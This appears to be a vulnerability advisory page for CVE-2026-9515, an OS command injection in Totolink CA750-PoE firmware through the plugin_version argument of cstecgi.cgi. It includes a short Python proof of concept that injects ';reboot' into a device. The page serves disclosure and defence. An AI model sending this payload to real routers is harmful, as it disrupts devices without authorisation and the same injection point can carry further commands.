Security Vulnerability Report
中文
CVE-2026-9515 CVSS 6.3 MEDIUM

CVE-2026-9515

Published: 2026-05-26 00:16:57
Last Modified: 2026-05-26 00:16:57

Description

A vulnerability was detected in Totolink CA750-PoE 6.2c.510. The affected element is the function setUnloadUserData of the file /cgi-bin/cstecgi.cgi of the component Setting Handler. The manipulation of the argument plugin_version results in os command injection. The attack may be launched remotely. The exploit is now public and may be used.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Totolink CA750-PoE 6.2c.510

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests url = "http://TARGET_IP/cgi-bin/cstecgi.cgi" headers = {"Content-Type": "application/json"} # Example payload to execute 'reboot' command via command injection data = { "topicurl": "setUnloadUserData", "plugin_version": ";reboot" } try: response = requests.post(url, json=data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
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